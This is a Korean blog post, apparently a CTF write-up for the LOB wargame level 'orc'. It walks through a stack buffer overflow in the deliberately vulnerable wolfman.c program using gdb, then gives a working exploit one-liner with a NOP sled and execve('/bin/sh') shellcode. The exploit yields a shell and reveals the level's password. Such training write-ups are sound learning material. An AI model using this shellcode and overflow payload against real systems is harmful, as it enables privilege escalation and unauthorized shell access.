본문 바로가기

CTF_Write_UP/LOB

[LOB] orc

시작

안녕하세요!

뭔가.. 계속 반복되는 느낌이 강한 LOB입니다.

ROP 문제를 풀어보고 싶어서 계속 진행중인데 아직까진 단순 페이로드 작성 문제네요.

일단 시작해볼까요?

Write UP

[orc@localhost orc]$ ll 
total 84 
-rw-------    1 orc      orc         61440 May  6 02:09 core 
-rwsr-sr-x    1 wolfman  wolfman     12587 Feb 26  2010 wolfman 
-rw-r--r--    1 root     root          581 Mar 29  2010 wolfman.c 
[orc@localhost orc]$ 
[orc@localhost orc]$ cat wolfman.c 
/* 
        The Lord of the BOF : The Fellowship of the BOF 
        - wolfman 
        - egghunter + buffer hunter 
*/ 

#include  
#include  

extern char **environ; 

main(int argc, char *argv[]) 
{ 
        char buffer[40]; 
        int i; 

        if(argc < 2){ 
                printf("argv error\n"); 
                exit(0); 
        } 

        // egghunter 
        for(i=0; environ[i]; i++) 
                memset(environ[i], 0, strlen(environ[i])); 

        if(argv[1][47] != '\xbf') 
        { 
                printf("stack is still your friend.\n"); 
                exit(0); 
        } 
        strcpy(buffer, argv[1]); 
        printf("%s\n", buffer); 

        // buffer hunter 
        memset(buffer, 0, 40); 
}

저번 문제에서 buffer hunter 부분이 추가되었네요.

memset 함수를 통해 입력받은 buffer를 0으로 초기화 해버립니다.

근데 우리는 버퍼에 쉘코드를 저장하지 않아요!! ㅎㅎ RET 뒤에 펼쳐진 넓은 공간이 있기 때문이죠.

페이로드는 똑같을 것 같습니다.

[orc@localhost orc]$ gdb -q /tmp/wolfman

(gdb) set disassembly-flavor intel 
(gdb) disas main 
Dump of assembler code for function main: 
0x8048500 :       push   %ebp 
0x8048501 <main+1>:     mov    %ebp,%esp 
0x8048503 <main+3>:     sub    %esp,44 
0x8048506 <main+6>:     cmp    DWORD PTR [%ebp+8],1 
0x804850a <main+10>:    jg     0x8048523 <main+35> 
0x804850c <main+12>:    push   0x8048640 
0x8048511 <main+17>:    call   0x8048410  
0x8048516 <main+22>:    add    %esp,4 
0x8048519 <main+25>:    push   0 
0x804851b <main+27>:    call   0x8048420  
0x8048520 <main+32>:    add    %esp,4 
0x8048523 <main+35>:    nop 
0x8048524 <main+36>:    mov    DWORD PTR [%ebp-44],0x0 
0x804852b <main+43>:    nop 
0x804852c <main+44>:    lea    %esi,[%esi*1] 
0x8048530 <main+48>:    mov    %eax,DWORD PTR [%ebp-44] 
0x8048533 <main+51>:    lea    %edx,[%eax*4] 
0x804853a <main+58>:    mov    %eax,%ds:0x8049760 
0x804853f <main+63>:    cmp    DWORD PTR [%eax+%edx],0 
0x8048543 <main+67>:    jne    0x8048547 <main+71> 
0x8048545 <main+69>:    jmp    0x8048587 <main+135> 
0x8048547 <main+71>:    mov    %eax,DWORD PTR [%ebp-44] 
0x804854a <main+74>:    lea    %edx,[%eax*4] 
0x8048551 <main+81>:    mov    %eax,%ds:0x8049760 
0x8048556 <main+86>:    mov    %edx,DWORD PTR [%eax+%edx] 
0x8048559 <main+89>:    push   %edx 
0x804855a <main+90>:    call   0x80483f0  
0x804855f <main+95>:    add    %esp,4 
0x8048562 <main+98>:    mov    %eax,%eax 
0x8048564 <main+100>:   push   %eax 
0x8048565 <main+101>:   push   0 
0x8048567 <main+103>:   mov    %eax,DWORD PTR [%ebp-44] 
0x804856a <main+106>:   lea    %edx,[%eax*4] 
0x8048571 <main+113>:   mov    %eax,%ds:0x8049760 
0x8048576 <main+118>:   mov    %edx,DWORD PTR [%eax+%edx] 
0x8048579 <main+121>:   push   %edx 
0x804857a <main+122>:   call   0x8048430  
0x804857f <main+127>:   add    %esp,12 
0x8048582 <main+130>:   inc    DWORD PTR [%ebp-44] 
0x8048585 <main+133>:   jmp    0x8048530 <main+48> 
0x8048587 <main+135>:   mov    %eax,DWORD PTR [%ebp+12] 
0x804858a <main+138>:   add    %eax,4 
0x804858d <main+141>:   mov    %edx,DWORD PTR [%eax] 
0x804858f <main+143>:   add    %edx,47 
0x8048592 <main+146>:   cmp    BYTE PTR [%edx],0xbf 
0x8048595 <main+149>:   je     0x80485b0 <main+176> 
0x8048597 <main+151>:   push   0x804864c 
0x804859c <main+156>:   call   0x8048410  
0x80485a1 <main+161>:   add    %esp,4 
0x80485a4 <main+164>:   push   0 
0x80485a6 <main+166>:   call   0x8048420  
0x80485ab <main+171>:   add    %esp,4 
0x80485ae <main+174>:   mov    %esi,%esi 
---Type  to continue, or q  to quit--- 
0x80485b0 <main+176>:   mov    %eax,DWORD PTR [%ebp+12] 
0x80485b3 <main+179>:   add    %eax,4 
0x80485b6 <main+182>:   mov    %edx,DWORD PTR [%eax] 
0x80485b8 <main+184>:   push   %edx 
0x80485b9 <main+185>:   lea    %eax,[%ebp-40] 
0x80485bc <main+188>:   push   %eax 
0x80485bd <main+189>:   call   0x8048440  
0x80485c2 <main+194>:   add    %esp,8 
0x80485c5 <main+197>:   lea    %eax,[%ebp-40] 
0x80485c8 <main+200>:   push   %eax 
0x80485c9 <main+201>:   push   0x8048669 
0x80485ce <main+206>:   call   0x8048410  
0x80485d3 <main+211>:   add    %esp,8 
0x80485d6 <main+214>:   push   40 
0x80485d8 <main+216>:   push   0 
0x80485da <main+218>:   lea    %eax,[%ebp-40] 
0x80485dd <main+221>:   push   %eax 
0x80485de <main+222>:   call   0x8048430  
0x80485e3 <main+227>:   add    %esp,12 
0x80485e6 <main+230>:   leave 
0x80485e7 <main+231>:   ret 
0x80485e8 <main+232>:   nop 
0x80485e9 <main+233>:   nop 
0x80485ea <main+234>:   nop 
0x80485eb <main+235>:   nop 
0x80485ec <main+236>:   nop 
0x80485ed <main+237>:   nop 
0x80485ee <main+238>:   nop 
0x80485ef <main+239>:   nop 
End of assembler dump. 
(gdb) b *main+194 
Breakpoint 1 at 0x80485c2

(gdb) r `python -c 'print "A" * 44 + "BBB" + "\xbf" + "\x90" * 100 + "CCCC"'` 
Starting program: /tmp/wolfman `python -c 'print "A" * 44 + "BBB" + "\xbf" + "\x90" * 100 + "CCCC"'` 

Breakpoint 1, 0x80485c2 in main () 
(gdb) x/100wx $esp 
0xbffffa84:     0xbffffa90      0xbffffc06      0x00000014      0x41414141 
0xbffffa94:     0x41414141      0x41414141      0x41414141      0x41414141 
0xbffffaa4:     0x41414141      0x41414141      0x41414141      0x41414141 
0xbffffab4:     0x41414141      0x41414141      0xbf424242      0x90909090 
0xbffffac4:     0x90909090      0x90909090      0x90909090      0x90909090 
0xbffffad4:     0x90909090      0x90909090      0x90909090      0x90909090 
0xbffffae4:     0x90909090      0x90909090      0x90909090      0x90909090 
0xbffffaf4:     0x90909090      0x90909090      0x90909090      0x90909090 
0xbffffb04:     0x90909090      0x90909090      0x90909090      0x90909090 
0xbffffb14:     0x90909090      0x90909090      0x90909090      0x90909090 
0xbffffb24:     0x43434343      0xbffffe00      0xbffffef2      0xbfffff07 
0xbffffb34:     0xbfffff22      0xbfffff2d      0xbfffff39      0xbfffff41 
0xbffffb44:     0xbfffff52      0xbfffff5c      0xbfffff6a      0xbfffff7b 
0xbffffb54:     0xbfffff89      0xbfffff94      0xbfffffa3      0x00000000 
0xbffffb64:     0x00000003      0x08048034      0x00000004      0x00000020 
0xbffffb74:     0x00000005      0x00000006      0x00000006      0x00001000 
0xbffffb84:     0x00000007      0x40000000      0x00000008      0x00000000 
0xbffffb94:     0x00000009      0x08048450      0x0000000b      0x000001f8 
0xbffffba4:     0x0000000c      0x000001f8      0x0000000d      0x000001f8 
0xbffffbb4:     0x0000000e      0x000001f8      0x00000010      0x0f8bfbff 
0xbffffbc4:     0x0000000f      0xbffffbf4      0x00000000      0x00000000 
0xbffffbd4:     0x00000000      0x00000000      0x00000000      0x00000000 
0xbffffbe4:     0x00000000      0x00000000      0x00000000      0x00000000 
0xbffffbf4:     0x36383669      0x6d742f00      0x6f772f70      0x616d666c 
0xbffffc04:     0x4141006e      0x41414141      0x41414141      0x41414141 
(gdb) q 
The program is running.  Exit anyway? (y or n) y

[orc@localhost orc]$ ./wolfman `python -c 'print "A" * 44 + "\xd4\xfa\xff\xbf" + "\x90" * 100 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"'` 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒1̀▒É▒1▒F̀1▒Ph//shh/bin▒▒PS▒▒° 
                                                             ̀1▒̀ 
bash$ id 
uid=505(wolfman) gid=504(orc) egid=505(wolfman) groups=504(orc) 
bash$ /bin/my-pass 
euid = 505 
love eyuna

Exploit!!

마무리

쉽다!!

넘어가요!! 넘어가!!

'CTF_Write_UP > LOB' 카테고리의 다른 글

[LOB] darkelf  (0) 2019.05.09
[LOB] wolfman  (0) 2019.05.09
[LOB] goblin  (0) 2019.05.08
[LOB] cobolt  (0) 2019.05.05
[LOB] gremlin  (0) 2019.05.04